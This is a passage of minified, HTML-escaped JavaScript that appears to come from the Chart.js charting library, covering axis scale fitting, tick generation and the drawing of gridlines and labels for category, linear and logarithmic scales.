labelWidth=tickOpts.mirror?0:widestLabelSize.width+tickPadding+lineSpace;minSize.width=Math.min(me.maxWidth,minSize.width+labelWidth),me.paddingTop=firstLabelSize.height/2,me.paddingBottom=lastLabelSize.height/2}}me.handleMargins(),isHorizontal?(me.width=me._length=chart.width-me.margins.left-me.margins.right,me.height=minSize.height):(me.width=minSize.width,me.height=me._length=chart.height-me.margins.top-me.margins.bottom)},handleMargins:function(){var me=this;me.margins&amp;&amp;(me.margins.left=Math.max(me.paddingLeft,me.margins.left),me.margins.top=Math.max(me.paddingTop,me.margins.top),me.margins.right=Math.max(me.paddingRight,me.margins.right),me.margins.bottom=Math.max(me.paddingBottom,me.margins.bottom))},afterFit:function(){helpers$1.callback(this.options.afterFit,[this])},isHorizontal:function(){var pos=this.options.position;return&quot;top&quot;===pos||&quot;bottom&quot;===pos},isFullWidth:function(){return this.options.fullWidth},getRightValue:function(rawValue){if(isNullOrUndef(rawValue))return NaN;if((&quot;number&quot;==typeof rawValue||rawValue instanceof Number)&amp;&amp;!isFinite(rawValue))return NaN;if(rawValue)if(this.isHorizontal()){if(void 0!==rawValue.x)return this.getRightValue(rawValue.x)}else if(void 0!==rawValue.y)return this.getRightValue(rawValue.y);return rawValue},_convertTicksToLabels:function(ticks){var labels,i,ilen,me=this;for(me.ticks=ticks.map((function(tick){return tick.value})),me.beforeTickToLabelConversion(),labels=me.convertTicksToLabels(ticks)||me.ticks,me.afterTickToLabelConversion(),i=0,ilen=ticks.length;i&lt;ilen;++i)ticks[i].label=labels[i];return labels},_getLabelSizes:function(){var me=this,labelSizes=me._labelSizes;return labelSizes||(me._labelSizes=labelSizes=computeLabelSizes(me.ctx,parseTickFontOptions(me.options.ticks),me.getTicks(),me.longestTextCache),me.longestLabelWidth=labelSizes.widest.width),labelSizes},_parseValue:function(value){var start,end,min,max;return isArray(value)?(start=+this.getRightValue(value[0]),end=+this.getRightValue(value[1]),min=Math.min(start,end),max=Math.max(start,end)):(start=void 0,end=value=+this.getRightValue(value),min=value,max=value),{min:min,max:max,start:start,end:end}},_getScaleLabel:function(rawValue){var v=this._parseValue(rawValue);return void 0!==v.start?&quot;[&quot;+v.start+&quot;, &quot;+v.end+&quot;]&quot;:+this.getRightValue(rawValue)},getLabelForIndex:helpers$1.noop,getPixelForValue:helpers$1.noop,getValueForPixel:helpers$1.noop,getPixelForTick:function(index){var offset=this.options.offset,numTicks=this._ticks.length,tickWidth=1/Math.max(numTicks-(offset?0:1),1);return index&lt;0||index&gt;numTicks-1?null:this.getPixelForDecimal(index*tickWidth+(offset?tickWidth/2:0))},getPixelForDecimal:function(decimal){return this._reversePixels&amp;&amp;(decimal=1-decimal),this._startPixel+decimal*this._length},getDecimalForPixel:function(pixel){var decimal=(pixel-this._startPixel)/this._length;return this._reversePixels?1-decimal:decimal},getBasePixel:function(){return this.getPixelForValue(this.getBaseValue())},getBaseValue:function(){var min=this.min,max=this.max;return this.beginAtZero?0:min&lt;0&amp;&amp;max&lt;0?max:min&gt;0&amp;&amp;max&gt;0?min:0},_autoSkip:function(ticks){var i,ilen,spacing,avgMajorSpacing,tickOpts=this.options.ticks,axisLength=this._length,ticksLimit=tickOpts.maxTicksLimit||axisLength/this._tickSize()+1,majorIndices=tickOpts.major.enabled?function(ticks){var i,ilen,result=[];for(i=0,ilen=ticks.length;i&lt;ilen;i++)ticks[i].major&amp;&amp;result.push(i);return result}(ticks):[],numMajorIndices=majorIndices.length,first=majorIndices[0],last=majorIndices[numMajorIndices-1];if(numMajorIndices&gt;ticksLimit)return function(ticks,majorIndices,spacing){var i,tick,count=0,next=majorIndices[0];for(spacing=Math.ceil(spacing),i=0;i&lt;ticks.length;i++)tick=ticks[i],i===next?(tick._index=i,next=majorIndices[++count*spacing]):delete tick.label}(ticks,majorIndices,numMajorIndices/ticksLimit),nonSkipped(ticks);if(spacing=function(majorIndices,ticks,axisLength,ticksLimit){var factors,factor,i,ilen,evenMajorSpacing=function(arr){var i,diff,len=arr.length;if(len&lt;2)return!1;for(diff=arr[0],i=1;i&lt;len;++i)if(arr[i]-arr[i-1]!==diff)return!1;return diff}(majorIndices),spacing=(ticks.length-1)/ticksLimit;if(!evenMajorSpacing)return Math.max(spacing,1);for(i=0,ilen=(factors=helpers$1.math._factorize(evenMajorSpacing)).length-1;i&lt;ilen;i++)if((factor=factors[i])&gt;spacing)return factor;return Math.max(spacing,1)}(majorIndices,ticks,0,ticksLimit),numMajorIndices&gt;0){for(i=0,ilen=numMajorIndices-1;i&lt;ilen;i++)skip(ticks,spacing,majorIndices[i],majorIndices[i+1]);return avgMajorSpacing=numMajorIndices&gt;1?(last-first)/(numMajorIndices-1):null,skip(ticks,spacing,helpers$1.isNullOrUndef(avgMajorSpacing)?0:first-avgMajorSpacing,first),skip(ticks,spacing,last,helpers$1.isNullOrUndef(avgMajorSpacing)?ticks.length:last+avgMajorSpacing),nonSkipped(ticks)}return skip(ticks,spacing),nonSkipped(ticks)},_tickSize:function(){var optionTicks=this.options.ticks,rot=helpers$1.toRadians(this.labelRotation),cos=Math.abs(Math.cos(rot)),sin=Math.abs(Math.sin(rot)),labelSizes=this._getLabelSizes(),padding=optionTicks.autoSkipPadding||0,w=labelSizes?labelSizes.widest.width+padding:0,h=labelSizes?labelSizes.highest.height+padding:0;return this.isHorizontal()?h*cos&gt;w*sin?w/cos:h/sin:h*sin&lt;w*cos?h/cos:w/sin},_isVisible:function(){var i,ilen,meta,chart=this.chart,display=this.options.display;if(&quot;auto&quot;!==display)return!!display;for(i=0,ilen=chart.data.datasets.length;i&lt;ilen;++i)if(chart.isDatasetVisible(i)&amp;&amp;((meta=chart.getDatasetMeta(i)).xAxisID===this.id||meta.yAxisID===this.id))return!0;return!1},_computeGridLineItems:function(chartArea){var borderValue,i,tick,lineValue,alignedLineValue,tx1,ty1,tx2,ty2,x1,y1,x2,y2,lineWidth,lineColor,borderDash,borderDashOffset,me=this,chart=me.chart,options=me.options,gridLines=options.gridLines,position=options.position,offsetGridLines=gridLines.offsetGridLines,isHorizontal=me.isHorizontal(),ticks=me._ticksToDraw,ticksLength=ticks.length+(offsetGridLines?1:0),tl=getTickMarkLength(gridLines),items=[],axisWidth=gridLines.drawBorder?valueAtIndexOrDefault(gridLines.lineWidth,0,0):0,axisHalfWidth=axisWidth/2,alignPixel=helpers$1._alignPixel,alignBorderValue=function(pixel){return alignPixel(chart,pixel,axisWidth)};for(&quot;top&quot;===position?(borderValue=alignBorderValue(me.bottom),ty1=me.bottom-tl,ty2=borderValue-axisHalfWidth,y1=alignBorderValue(chartArea.top)+axisHalfWidth,y2=chartArea.bottom):&quot;bottom&quot;===position?(borderValue=alignBorderValue(me.top),y1=chartArea.top,y2=alignBorderValue(chartArea.bottom)-axisHalfWidth,ty1=borderValue+axisHalfWidth,ty2=me.top+tl):&quot;left&quot;===position?(borderValue=alignBorderValue(me.right),tx1=me.right-tl,tx2=borderValue-axisHalfWidth,x1=alignBorderValue(chartArea.left)+axisHalfWidth,x2=chartArea.right):(borderValue=alignBorderValue(me.left),x1=chartArea.left,x2=alignBorderValue(chartArea.right)-axisHalfWidth,tx1=borderValue+axisHalfWidth,tx2=me.left+tl),i=0;i&lt;ticksLength;++i)tick=ticks[i]||{},isNullOrUndef(tick.label)&amp;&amp;i&lt;ticks.length||(i===me.zeroLineIndex&amp;&amp;options.offset===offsetGridLines?(lineWidth=gridLines.zeroLineWidth,lineColor=gridLines.zeroLineColor,borderDash=gridLines.zeroLineBorderDash||[],borderDashOffset=gridLines.zeroLineBorderDashOffset||0):(lineWidth=valueAtIndexOrDefault(gridLines.lineWidth,i,1),lineColor=valueAtIndexOrDefault(gridLines.color,i,&quot;rgba(0,0,0,0.1)&quot;),borderDash=gridLines.borderDash||[],borderDashOffset=gridLines.borderDashOffset||0),void 0!==(lineValue=getPixelForGridLine(me,tick._index||i,offsetGridLines))&amp;&amp;(alignedLineValue=alignPixel(chart,lineValue,lineWidth),isHorizontal?tx1=tx2=x1=x2=alignedLineValue:ty1=ty2=y1=y2=alignedLineValue,items.push({tx1:tx1,ty1:ty1,tx2:tx2,ty2:ty2,x1:x1,y1:y1,x2:x2,y2:y2,width:lineWidth,color:lineColor,borderDash:borderDash,borderDashOffset:borderDashOffset})));return items.ticksLength=ticksLength,items.borderValue=borderValue,items},_computeLabelItems:function(){var i,ilen,tick,label,x,y,textAlign,pixel,font,lineHeight,lineCount,textOffset,me=this,options=me.options,optionTicks=options.ticks,position=options.position,isMirrored=optionTicks.mirror,isHorizontal=me.isHorizontal(),ticks=me._ticksToDraw,fonts=parseTickFontOptions(optionTicks),tickPadding=optionTicks.padding,tl=getTickMarkLength(options.gridLines),rotation=-helpers$1.toRadians(me.labelRotation),items=[];for(&quot;top&quot;===position?(y=me.bottom-tl-tickPadding,textAlign=rotation?&quot;left&quot;:&quot;center&quot;):&quot;bottom&quot;===position?(y=me.top+tl+tickPadding,textAlign=rotation?&quot;right&quot;:&quot;center&quot;):&quot;left&quot;===position?(x=me.right-(isMirrored?0:tl)-tickPadding,textAlign=isMirrored?&quot;left&quot;:&quot;right&quot;):(x=me.left+(isMirrored?0:tl)+tickPadding,textAlign=isMirrored?&quot;right&quot;:&quot;left&quot;),i=0,ilen=ticks.length;i&lt;ilen;++i)label=(tick=ticks[i]).label,isNullOrUndef(label)||(pixel=me.getPixelForTick(tick._index||i)+optionTicks.labelOffset,lineHeight=(font=tick.major?fonts.major:fonts.minor).lineHeight,lineCount=isArray(label)?label.length:1,isHorizontal?(x=pixel,textOffset=&quot;top&quot;===position?((rotation?1:.5)-lineCount)*lineHeight:(rotation?0:.5)*lineHeight):(y=pixel,textOffset=(1-lineCount)*lineHeight/2),items.push({x:x,y:y,rotation:rotation,label:label,font:font,textOffset:textOffset,textAlign:textAlign}));return items},_drawGrid:function(chartArea){var me=this,gridLines=me.options.gridLines;if(gridLines.display){var width,color,i,ilen,item,ctx=me.ctx,chart=me.chart,alignPixel=helpers$1._alignPixel,axisWidth=gridLines.drawBorder?valueAtIndexOrDefault(gridLines.lineWidth,0,0):0,items=me._gridLineItems||(me._gridLineItems=me._computeGridLineItems(chartArea));for(i=0,ilen=items.length;i&lt;ilen;++i)width=(item=items[i]).width,color=item.color,width&amp;&amp;color&amp;&amp;(ctx.save(),ctx.lineWidth=width,ctx.strokeStyle=color,ctx.setLineDash&amp;&amp;(ctx.setLineDash(item.borderDash),ctx.lineDashOffset=item.borderDashOffset),ctx.beginPath(),gridLines.drawTicks&amp;&amp;(ctx.moveTo(item.tx1,item.ty1),ctx.lineTo(item.tx2,item.ty2)),gridLines.drawOnChartArea&amp;&amp;(ctx.moveTo(item.x1,item.y1),ctx.lineTo(item.x2,item.y2)),ctx.stroke(),ctx.restore());if(axisWidth){var x1,x2,y1,y2,firstLineWidth=axisWidth,lastLineWidth=valueAtIndexOrDefault(gridLines.lineWidth,items.ticksLength-1,1),borderValue=items.borderValue;me.isHorizontal()?(x1=alignPixel(chart,me.left,firstLineWidth)-firstLineWidth/2,x2=alignPixel(chart,me.right,lastLineWidth)+lastLineWidth/2,y1=y2=borderValue):(y1=alignPixel(chart,me.top,firstLineWidth)-firstLineWidth/2,y2=alignPixel(chart,me.bottom,lastLineWidth)+lastLineWidth/2,x1=x2=borderValue),ctx.lineWidth=axisWidth,ctx.strokeStyle=valueAtIndexOrDefault(gridLines.color,0),ctx.beginPath(),ctx.moveTo(x1,y1),ctx.lineTo(x2,y2),ctx.stroke()}}},_drawLabels:function(){var me=this;if(me.options.ticks.display){var i,j,ilen,jlen,item,tickFont,label,y,ctx=me.ctx,items=me._labelItems||(me._labelItems=me._computeLabelItems());for(i=0,ilen=items.length;i&lt;ilen;++i){if(tickFont=(item=items[i]).font,ctx.save(),ctx.translate(item.x,item.y),ctx.rotate(item.rotation),ctx.font=tickFont.string,ctx.fillStyle=tickFont.color,ctx.textBaseline=&quot;middle&quot;,ctx.textAlign=item.textAlign,label=item.label,y=item.textOffset,isArray(label))for(j=0,jlen=label.length;j&lt;jlen;++j)ctx.fillText(&quot;&quot;+label[j],0,y),y+=tickFont.lineHeight;else ctx.fillText(label,0,y);ctx.restore()}}},_drawTitle:function(){var me=this,ctx=me.ctx,options=me.options,scaleLabel=options.scaleLabel;if(scaleLabel.display){var scaleLabelX,scaleLabelY,scaleLabelFontColor=valueOrDefault$a(scaleLabel.fontColor,core_defaults.global.defaultFontColor),scaleLabelFont=helpers$1.options._parseFont(scaleLabel),scaleLabelPadding=helpers$1.options.toPadding(scaleLabel.padding),halfLineHeight=scaleLabelFont.lineHeight/2,position=options.position,rotation=0;if(me.isHorizontal())scaleLabelX=me.left+me.width/2,scaleLabelY=&quot;bottom&quot;===position?me.bottom-halfLineHeight-scaleLabelPadding.bottom:me.top+halfLineHeight+scaleLabelPadding.top;else{var isLeft=&quot;left&quot;===position;scaleLabelX=isLeft?me.left+halfLineHeight+scaleLabelPadding.top:me.right-halfLineHeight-scaleLabelPadding.top,scaleLabelY=me.top+me.height/2,rotation=isLeft?-.5*Math.PI:.5*Math.PI}ctx.save(),ctx.translate(scaleLabelX,scaleLabelY),ctx.rotate(rotation),ctx.textAlign=&quot;center&quot;,ctx.textBaseline=&quot;middle&quot;,ctx.fillStyle=scaleLabelFontColor,ctx.font=scaleLabelFont.string,ctx.fillText(scaleLabel.labelString,0,0),ctx.restore()}},draw:function(chartArea){this._isVisible()&amp;&amp;(this._drawGrid(chartArea),this._drawTitle(),this._drawLabels())},_layers:function(){var me=this,opts=me.options,tz=opts.ticks&amp;&amp;opts.ticks.z||0,gz=opts.gridLines&amp;&amp;opts.gridLines.z||0;return me._isVisible()&amp;&amp;tz!==gz&amp;&amp;me.draw===me._draw?[{z:gz,draw:function(){me._drawGrid.apply(me,arguments),me._drawTitle.apply(me,arguments)}},{z:tz,draw:function(){me._drawLabels.apply(me,arguments)}}]:[{z:tz,draw:function(){me.draw.apply(me,arguments)}}]},_getMatchingVisibleMetas:function(type){var me=this,isHorizontal=me.isHorizontal();return me.chart._getSortedVisibleDatasetMetas().filter((function(meta){return(!type||meta.type===type)&amp;&amp;(isHorizontal?meta.xAxisID===me.id:meta.yAxisID===me.id)}))}});Scale.prototype._draw=Scale.prototype.draw;var core_scale=Scale,isNullOrUndef$1=helpers$1.isNullOrUndef,scale_category=core_scale.extend({determineDataLimits:function(){var findIndex,me=this,labels=me._getLabels(),ticksOpts=me.options.ticks,min=ticksOpts.min,max=ticksOpts.max,minIndex=0,maxIndex=labels.length-1;void 0!==min&amp;&amp;(findIndex=labels.indexOf(min))&gt;=0&amp;&amp;(minIndex=findIndex),void 0!==max&amp;&amp;(findIndex=labels.indexOf(max))&gt;=0&amp;&amp;(maxIndex=findIndex),me.minIndex=minIndex,me.maxIndex=maxIndex,me.min=labels[minIndex],me.max=labels[maxIndex]},buildTicks:function(){var labels=this._getLabels(),minIndex=this.minIndex,maxIndex=this.maxIndex;this.ticks=0===minIndex&amp;&amp;maxIndex===labels.length-1?labels:labels.slice(minIndex,maxIndex+1)},getLabelForIndex:function(index,datasetIndex){var chart=this.chart;return chart.getDatasetMeta(datasetIndex).controller._getValueScaleId()===this.id?this.getRightValue(chart.data.datasets[datasetIndex].data[index]):this._getLabels()[index]},_configure:function(){var me=this,offset=me.options.offset,ticks=me.ticks;core_scale.prototype._configure.call(me),me.isHorizontal()||(me._reversePixels=!me._reversePixels),ticks&amp;&amp;(me._startValue=me.minIndex-(offset?.5:0),me._valueRange=Math.max(ticks.length-(offset?0:1),1))},getPixelForValue:function(value,index,datasetIndex){var valueCategory,labels,idx,me=this;return isNullOrUndef$1(index)||isNullOrUndef$1(datasetIndex)||(value=me.chart.data.datasets[datasetIndex].data[index]),isNullOrUndef$1(value)||(valueCategory=me.isHorizontal()?value.x:value.y),(void 0!==valueCategory||void 0!==value&amp;&amp;isNaN(index))&amp;&amp;(labels=me._getLabels(),value=helpers$1.valueOrDefault(valueCategory,value),index=-1!==(idx=labels.indexOf(value))?idx:index,isNaN(index)&amp;&amp;(index=value)),me.getPixelForDecimal((index-me._startValue)/me._valueRange)},getPixelForTick:function(index){var ticks=this.ticks;return index&lt;0||index&gt;ticks.length-1?null:this.getPixelForValue(ticks[index],index+this.minIndex)},getValueForPixel:function(pixel){var value=Math.round(this._startValue+this.getDecimalForPixel(pixel)*this._valueRange);return Math.min(Math.max(value,0),this.ticks.length-1)},getBasePixel:function(){return this.bottom}}),_defaults={position:&quot;bottom&quot;};scale_category._defaults=_defaults;var noop=helpers$1.noop,isNullOrUndef$2=helpers$1.isNullOrUndef;var scale_linearbase=core_scale.extend({getRightValue:function(value){return&quot;string&quot;==typeof value?+value:core_scale.prototype.getRightValue.call(this,value)},handleTickRangeOptions:function(){var me=this,tickOpts=me.options.ticks;if(tickOpts.beginAtZero){var minSign=helpers$1.sign(me.min),maxSign=helpers$1.sign(me.max);minSign&lt;0&amp;&amp;maxSign&lt;0?me.max=0:minSign&gt;0&amp;&amp;maxSign&gt;0&amp;&amp;(me.min=0)}var setMin=void 0!==tickOpts.min||void 0!==tickOpts.suggestedMin,setMax=void 0!==tickOpts.max||void 0!==tickOpts.suggestedMax;void 0!==tickOpts.min?me.min=tickOpts.min:void 0!==tickOpts.suggestedMin&amp;&amp;(null===me.min?me.min=tickOpts.suggestedMin:me.min=Math.min(me.min,tickOpts.suggestedMin)),void 0!==tickOpts.max?me.max=tickOpts.max:void 0!==tickOpts.suggestedMax&amp;&amp;(null===me.max?me.max=tickOpts.suggestedMax:me.max=Math.max(me.max,tickOpts.suggestedMax)),setMin!==setMax&amp;&amp;me.min&gt;=me.max&amp;&amp;(setMin?me.max=me.min+1:me.min=me.max-1),me.min===me.max&amp;&amp;(me.max++,tickOpts.beginAtZero||me.min--)},getTickLimit:function(){var maxTicks,tickOpts=this.options.ticks,stepSize=tickOpts.stepSize,maxTicksLimit=tickOpts.maxTicksLimit;return stepSize?maxTicks=Math.ceil(this.max/stepSize)-Math.floor(this.min/stepSize)+1:(maxTicks=this._computeTickLimit(),maxTicksLimit=maxTicksLimit||11),maxTicksLimit&amp;&amp;(maxTicks=Math.min(maxTicksLimit,maxTicks)),maxTicks},_computeTickLimit:function(){return Number.POSITIVE_INFINITY},handleDirectionalChanges:noop,buildTicks:function(){var me=this,tickOpts=me.options.ticks,maxTicks=me.getTickLimit(),numericGeneratorOptions={maxTicks:maxTicks=Math.max(2,maxTicks),min:tickOpts.min,max:tickOpts.max,precision:tickOpts.precision,stepSize:helpers$1.valueOrDefault(tickOpts.fixedStepSize,tickOpts.stepSize)},ticks=me.ticks=function(generationOptions,dataRange){var factor,niceMin,niceMax,numSpaces,ticks=[],stepSize=generationOptions.stepSize,unit=stepSize||1,maxNumSpaces=generationOptions.maxTicks-1,min=generationOptions.min,max=generationOptions.max,precision=generationOptions.precision,rmin=dataRange.min,rmax=dataRange.max,spacing=helpers$1.niceNum((rmax-rmin)/maxNumSpaces/unit)*unit;if(spacing&lt;1e-14&amp;&amp;isNullOrUndef$2(min)&amp;&amp;isNullOrUndef$2(max))return[rmin,rmax];(numSpaces=Math.ceil(rmax/spacing)-Math.floor(rmin/spacing))&gt;maxNumSpaces&amp;&amp;(spacing=helpers$1.niceNum(numSpaces*spacing/maxNumSpaces/unit)*unit),stepSize||isNullOrUndef$2(precision)?factor=Math.pow(10,helpers$1._decimalPlaces(spacing)):(factor=Math.pow(10,precision),spacing=Math.ceil(spacing*factor)/factor),niceMin=Math.floor(rmin/spacing)*spacing,niceMax=Math.ceil(rmax/spacing)*spacing,stepSize&amp;&amp;(!isNullOrUndef$2(min)&amp;&amp;helpers$1.almostWhole(min/spacing,spacing/1e3)&amp;&amp;(niceMin=min),!isNullOrUndef$2(max)&amp;&amp;helpers$1.almostWhole(max/spacing,spacing/1e3)&amp;&amp;(niceMax=max)),numSpaces=(niceMax-niceMin)/spacing,numSpaces=helpers$1.almostEquals(numSpaces,Math.round(numSpaces),spacing/1e3)?Math.round(numSpaces):Math.ceil(numSpaces),niceMin=Math.round(niceMin*factor)/factor,niceMax=Math.round(niceMax*factor)/factor,ticks.push(isNullOrUndef$2(min)?niceMin:min);for(var j=1;j&lt;numSpaces;++j)ticks.push(Math.round((niceMin+j*spacing)*factor)/factor);return ticks.push(isNullOrUndef$2(max)?niceMax:max),ticks}(numericGeneratorOptions,me);me.handleDirectionalChanges(),me.max=helpers$1.max(ticks),me.min=helpers$1.min(ticks),tickOpts.reverse?(ticks.reverse(),me.start=me.max,me.end=me.min):(me.start=me.min,me.end=me.max)},convertTicksToLabels:function(){var me=this;me.ticksAsNumbers=me.ticks.slice(),me.zeroLineIndex=me.ticks.indexOf(0),core_scale.prototype.convertTicksToLabels.call(me)},_configure:function(){var offset,me=this,ticks=me.getTicks(),start=me.min,end=me.max;core_scale.prototype._configure.call(me),me.options.offset&amp;&amp;ticks.length&amp;&amp;(start-=offset=(end-start)/Math.max(ticks.length-1,1)/2,end+=offset),me._startValue=start,me._endValue=end,me._valueRange=end-start}}),defaultConfig$1={position:&quot;left&quot;,ticks:{callback:core_ticks.formatters.linear}};function stackData(scale,stacks,meta,data){var i,value,opts=scale.options,stack=function(stacks,stacked,meta){var key=[meta.type,void 0===stacked&amp;&amp;void 0===meta.stack?meta.index:&quot;&quot;,meta.stack].join(&quot;.&quot;);return void 0===stacks[key]&amp;&amp;(stacks[key]={pos:[],neg:[]}),stacks[key]}(stacks,opts.stacked,meta),pos=stack.pos,neg=stack.neg,ilen=data.length;for(i=0;i&lt;ilen;++i)value=scale._parseValue(data[i]),isNaN(value.min)||isNaN(value.max)||meta.data[i].hidden||(pos[i]=pos[i]||0,neg[i]=neg[i]||0,opts.relativePoints?pos[i]=100:value.min&lt;0||value.max&lt;0?neg[i]+=value.min:pos[i]+=value.max)}function updateMinMax(scale,meta,data){var i,value,ilen=data.length;for(i=0;i&lt;ilen;++i)value=scale._parseValue(data[i]),isNaN(value.min)||isNaN(value.max)||meta.data[i].hidden||(scale.min=Math.min(scale.min,value.min),scale.max=Math.max(scale.max,value.max))}var scale_linear=scale_linearbase.extend({determineDataLimits:function(){var i,meta,data,values,me=this,opts=me.options,datasets=me.chart.data.datasets,metasets=me._getMatchingVisibleMetas(),hasStacks=opts.stacked,stacks={},ilen=metasets.length;if(me.min=Number.POSITIVE_INFINITY,me.max=Number.NEGATIVE_INFINITY,void 0===hasStacks)for(i=0;!hasStacks&amp;&amp;i&lt;ilen;++i)hasStacks=void 0!==(meta=metasets[i]).stack;for(i=0;i&lt;ilen;++i)data=datasets[(meta=metasets[i]).index].data,hasStacks?stackData(me,stacks,meta,data):updateMinMax(me,meta,data);helpers$1.each(stacks,(function(stackValues){values=stackValues.pos.concat(stackValues.neg),me.min=Math.min(me.min,helpers$1.min(values)),me.max=Math.max(me.max,helpers$1.max(values))})),me.min=helpers$1.isFinite(me.min)&amp;&amp;!isNaN(me.min)?me.min:0,me.max=helpers$1.isFinite(me.max)&amp;&amp;!isNaN(me.max)?me.max:1,me.handleTickRangeOptions()},_computeTickLimit:function(){var tickFont;return this.isHorizontal()?Math.ceil(this.width/40):(tickFont=helpers$1.options._parseFont(this.options.ticks),Math.ceil(this.height/tickFont.lineHeight))},handleDirectionalChanges:function(){this.isHorizontal()||this.ticks.reverse()},getLabelForIndex:function(index,datasetIndex){return this._getScaleLabel(this.chart.data.datasets[datasetIndex].data[index])},getPixelForValue:function(value){return this.getPixelForDecimal((+this.getRightValue(value)-this._startValue)/this._valueRange)},getValueForPixel:function(pixel){return this._startValue+this.getDecimalForPixel(pixel)*this._valueRange},getPixelForTick:function(index){var ticks=this.ticksAsNumbers;return index&lt;0||index&gt;ticks.length-1?null:this.getPixelForValue(ticks[index])}}),_defaults$1=defaultConfig$1;scale_linear._defaults=_defaults$1;var valueOrDefault$b=helpers$1.valueOrDefault,log10=helpers$1.math.log10;var defaultConfig$2={position:&quot;left&quot;,ticks:{callback:core_ticks.formatters.logarithmic}};function nonNegativeOrDefault(value,defaultValue){return helpers$1.isFinite(value)&amp;&amp;value&gt;=0?value:defaultValue}var scale_logarithmic=core_scale.extend({determineDataLimits:function(){var datasetIndex,meta,value,data,i,ilen,me=this,opts=me.options,chart=me.chart,datasets=chart.data.datasets,isHorizontal=me.isHorizontal();function IDMatches(meta){return isHorizontal?meta.xAxisID===me.id:meta.yAxisID===me.id}me.min=Number.POSITIVE_INFINITY,me.max=Number.NEGATIVE_INFINITY,me.minNotZero=Number.POSITIVE_INFINITY;var hasStacks=opts.stacked;if(void 0===hasStacks)for(datasetIndex=0;datasetIndex&lt;datasets.length;datasetIndex++)if(meta=chart.getDatasetMeta(datasetIndex),chart.isDatasetVisible(datasetIndex)&amp;&amp;IDMatches(meta)&amp;&amp;void 0!==meta.stack){hasStacks=!0;break}if(opts.stacked||hasStacks){var valuesPerStack={};for(datasetIndex=0;datasetIndex&lt;datasets.length;datasetIndex++){var key=[(meta=chart.getDatasetMeta(datasetIndex)).type,void 0===opts.stacked&amp;&amp;void 0===meta.stack?datasetIndex:&quot;&quot;,meta.stack].join(&quot;.&quot;);if(chart.isDatasetVisible(datasetIndex)&amp;&amp;IDMatches(meta))for(void 0===valuesPerStack[key]&amp;&amp;(valuesPerStack[key]=[]),i=0,ilen=(data=datasets[datasetIndex].data).length;i&lt;ilen;i++){var values=valuesPerStack[key];value=me._parseValue(data[i]),isNaN(value.min)||isNaN(value.max)||meta.data[i].hidden||value.min&lt;0||value.max&lt;0||(values[i]=values[i]||0,values[i]+=value.max)}}helpers$1.each(valuesPerStack,(function(valuesForType){if(valuesForType.length&gt;0){var minVal=helpers$1.min(valuesForType),maxVal=helpers$1.max(valuesForType);me.min=Math.min(me.min,minVal),me.max=Math.max(me.max,maxVal)}}))}else for(datasetIndex=0;datasetIndex&lt;datasets.length;datasetIndex++)if(meta=chart.getDatasetMeta(datasetIndex),chart.isDatasetVisible(datasetIndex)&amp;&amp;IDMatches(meta))for(i=0,ilen=(data=datasets[datasetIndex].data).length;i&lt;ilen;i++)value=me._parseValue(data[i]),isNaN(value.min)||isNaN(value.max)||meta.data[i].hidden||value.min&lt;0||value.max&lt;0||(me.min=Math.min(value.min,me.min),me.max=Math.max(value.max,me.max),0!==value.min&amp;&amp;(me.minNotZero=Math.min(value.min,me.minNotZero)));me.min=helpers$1.isFinite(me.min)?me.min:null,me.max=helpers$1.isFinite(me.max)?me.max:null,me.minNotZero=helpers$1.isFinite(me.minNotZero)?me.minNotZero:null,this.handleTickRangeOptions()},handleTickRangeOptions:function(){var me=this,tickOpts=me.options.ticks;me.min=nonNegativeOrDefault(tickOpts.min,me.min),me.max=nonNegativeOrDefault(tickOpts.max,me.max),me.min===me.max&amp;&amp;(0!==me.min&amp;&amp;null!==me.min?(me.min=Math.pow(10,Math.floor(log10(me.min))-1),me.max=Math.pow(10,Math.floor(log10(me.max))+1)):(me.min=1,me.max=10)),null===me.min&amp;&amp;(me.min=Math.pow(10,Math.floor(log10(me.max))-1)),null===me.max&amp;&amp;(me.max=0!==me.min?Math.pow(10,Math.floor(log10(me.min))+1):10),null===me.minNotZero&amp;&amp;(me.min&gt;0?me.minNotZero=me.min:me.max&lt;1?me.minNotZero=Math.pow(10,Math.floor(log10(me.max))):me.minNotZero=1)},buildTicks:function(){var me=this,tickOpts=me.options.ticks,reverse=!me.isHorizontal(),generationOptions={min:nonNegativeOrDefault(tickOpts.min),max:nonNegativeOrDefault(tickOpts.max)},ticks=me.ticks=function(generationOptions,dataRange){var exp,significand,ticks=[],tickVal=valueOrDefault$b(generationOptions.min,Math.pow(10,Math.floor(log10(dataRange.min)))),endExp=Math.floor(log10(dataRange.max)),endSignificand=Math.ceil(dataRange.max/Math.pow(10,endExp));0===tickVal?(exp=Math.floor(log10(dataRange.minNotZero)),significand=Math.floor(dataRange.minNotZero/Math.pow(10,exp)),ticks.push(tickVal),tickVal=significand*Math.pow(10,exp)):(exp=Math.floor(log10(tickVal)),significand=Math.floor(tickVal/Math.pow(10,exp)));var precision=exp&lt;0?Math.pow(10,Math.abs(exp)):1;do{ticks.push(tickVal),10==++significand&amp;&amp;(significand=1,precision=++exp&gt;=0?1:precision),tickVal=Math.round(significand*Math.pow(10,exp)*precision)/precision}while(exp&lt;endExp||exp===endExp&amp;&amp;significand&lt;endSignificand);var lastTick=valueOrDefault$b(generationOptions.max,tickVal);return ticks.push(lastTick),ticks}(generationOptions,me);me.max=helpers$1.max(ticks),me.min=helpers$1.min(ticks),tickOpts.reverse?(reverse=!reverse,me.start=me.max,me.end=me.min):(me.start=me.min,me.end=me.max),reverse&amp;&amp;ticks.reverse()},convertTicksToLabels:function(){this.tickValues=this.ticks.slice(),core_scale.prototype.convertTicksToLabels.call(this)},getLabelForIndex:function(index,datasetIndex){return this._getScaleLabel(this.chart.data.datasets[datasetIndex].data[index])},getPixelForTick:function(index){var ticks=this.tickValues;return index&lt;0||index&gt;ticks.length-1?null:this.getPixelForValue(ticks[index])},_getFirstTickValue:function(value){var exp=Math.floor(log10(value));return Math.floor(value/Math.pow(10,exp))*Math.pow(10,exp)},_configure:function(){var me=this,start=me.min,offset=0;core_scale.prototype._configure.call(me),0===start&amp;&amp;(start=me._getFirstTickValue(me.minNotZero),offset=valueOrDefault$b(me.options.ticks.fontSize,core_defaults.global.defaultFontSize)/me._length),me._startValue=log10(start),me._valueOffset=offset,me._valueRange=(log10(me.max)-log10(start))/(1-offset)},getPixelForValue:function(value){var me=this,decimal=0;return(value=+me.getRightValue(value))&gt;me.min&amp;&amp;value&gt;0&amp;&amp;(decimal=(log10(value)-me._startValue)/me._valueRange+me._valueOffset),me.getPixelForDecimal(decimal)},getValueForPixel:function(pixel){var me=this,decimal=me.getDecimalForPixel(pixel);return 